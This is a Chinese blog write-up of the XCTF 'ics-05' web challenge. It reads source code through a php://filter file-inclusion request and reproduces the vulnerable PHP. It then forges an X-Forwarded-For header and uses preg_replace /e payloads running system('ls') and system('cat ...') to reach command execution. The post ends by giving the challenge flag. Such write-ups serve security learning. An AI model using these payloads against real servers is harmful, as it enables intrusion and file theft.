当前位置:网站首页>xctf攻防世界 Web高手进阶区 ics-05
xctf攻防世界 Web高手进阶区 ics-05
2022-08-09 21:54:00 【l8947943】
0x01. 进入环境,查看内容
如图:
给了一张乱七八糟的图,只有设备维护中心可以点击,如图:

看不出什么内容,再次点击云平台设备维护中心,发现url有猫腻,如图:

emmm,看到此处,显示了一个index,猜测page肯定是重点。
0x02. 问题分析
0x02_1. php伪协议
什么是php伪协议?这里我参考大佬总结博客:
PHP伪协议详解
page参数一般是文件包含,利用php伪协议读出源码并把它base64编码输出(要不然就直接在网页上执行看不到源码了),这里的命令是:
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
前端返回结果如图:
明显的base64编码,丢入base64解码,得到一个php解码文件,如图:
我们将代码拷出来,进行后续的分析。
0x02_2. 代码分析
截取部分有用代码进行分析,如下:
<?php
$page = $_GET[page]; # 拿到url中传递的 page参数
if (isset($page)) {
# 要求拿到的page参数不为空
if (ctype_alnum($page)) {
# ctype_alnum检查$page是否都是字母数字,若都是字母数字则返回ture
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p> # 显示page内容
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
#返回input在$page中出现的第一个匹配的位置,若未找到返回flase
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
# #返回index.php在$page中出现的第一个匹配的位置,若未找到返回flase
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
# 此段代码表示,提交过来的参数携带X_FORWARDED_FOR=127.0.0.1,则执行如下代码
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
# 参数中包含pat参数,rep参数,sub参数
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
# 要求pat、rep、sub参数都不为空
if (isset($pattern) && isset($replacement) && isset($subject)) {
# 调用preg_replace( mixed $pattern , mixed $replacement , mixed $subject)函数,其中
# $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
# $replacement: 用于替换的字符串或字符串数组。
# $subject: 要搜索替换的目标字符串或字符串数组。
# 注意,pattern后添加/e 修正符,则会使 preg_replace() 将 replacement 参数当作 PHP 代码。
# 提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含preg_replace() 的行中出现语法解析错误。
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
0x02_3. 构造payload
在burpsuite中添加x-forwarded-for: 127.0.0.1,如图,得到Welcome My Admin !
接着构造pat等参数,payload如下:
/index.php?pat=/123/e&rep=system('ls')&sub=123

发现有s3chahahaDir文件,构造payload如下:
/index.php?pat=/123/e&rep=system('ls+s3chahahaDir')&sub=123
返回结果如图:
发现有个flag文件夹,那么我们继续查看,构造payload:
/index.php?pat=/123/e&rep=system('ls+s3chahahaDir/flag')&sub=123
返回结果如图:
出现了一个flag.php文件,继续构造payload如下:
/index.php?pat=/123/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=123
返回结果如图:
0x02_4. 得到最终答案
最终答案为: cyberpeace{0002b4d7b2d0858ebb6e13df4b966bd2}
0x03. 总结
这个题目后面不难,最难的是一开始使用php伪协议,其次是php代码审计。这儿是知识盲区,慢慢积累吧
边栏推荐
- 【GORM】模型关系-HasMany关系
- ACM MM 2022 | Cloud2Sketch: 长空云作画,AI笔生花
- 2022年中国第三方证券APP创新专题分析
- 论文解读(DropEdge)《DropEdge: Towards Deep Graph Convolutional Networks on Node Classification》
- CVPR22 Oral | shunt through multi-scale token polymerization from attention, code is open source
- 跨端技术方案选什么好?
- Shanghai Konan SmartRocket series product introduction (3): SmartRocket iVerifier computer interlocking system verification tool
- Evolution of MLOps
- 【stack】【queue】【priority_queue】【deque】Detailed explanation
- Bean life cycle
猜你喜欢

Synchronization lock synchronized traces the source

STC8H Development (15): GPIO Drives Ci24R1 Wireless Module

【微服务~Nacos】Nacos之配置中心

JS解混淆-AST还原案例

APP自动化测试框架-UiAutomator2基础入门

金山云地震,震源在字节?

JS Deobfuscation - AST Restoration Case

2022 首期线下 Workshop!面向应用开发者们的数据应用体验日来了 | TiDB Workshop Day

从源码方面来分析Fragment管理中 Add() 方法

好未来,想成为第二个新东方
随机推荐
FileZilla搭建FTP服务器图解教程
UML类图五种关系的代码实现[通俗易懂]
Technology Sharing | How to use the JSON Schema mode of interface automation testing?
论文解读(DropEdge)《DropEdge: Towards Deep Graph Convolutional Networks on Node Classification》
The overall construction process of the Tensorflow model
Xiaohei leetcode's refreshing rainy day trip, just finished eating Yufei Beef Noodles, Mala Tang and Beer: 112. Path Sum
CVPR22 Oral|通过多尺度token聚合分流自注意力,代码已开源
Js fifteen interview questions (with answers)
阿里云架构师金云龙:基于云XR平台的视觉计算应用部署
ACM MM 2022 | Cloud2Sketch: Painting with clouds in the sky, AI brush strokes
AI识万物:从0搭建和部署手语识别系统
Liver all night to write a thirty thousand - word all the commands the SQL database, function, speaks clearly explain operators, content is rich, proposal collection + 3 even high praise!
Blender程序化建模简明教程【PCG】
【EF】 更新条目时出错。有关详细信息,请参见内部异常。[通俗易懂]
Five Star Holdings Wang Jianguo: Deepen the track with "plant spirit" and promote growth with "animal spirit"
mysql multi-table left link query
TF uses constant to generate data
基于ABP的AppUser对象扩展
Easyui 表单验证「建议收藏」
深度剖析 Apache EventMesh 云原生分布式事件驱动架构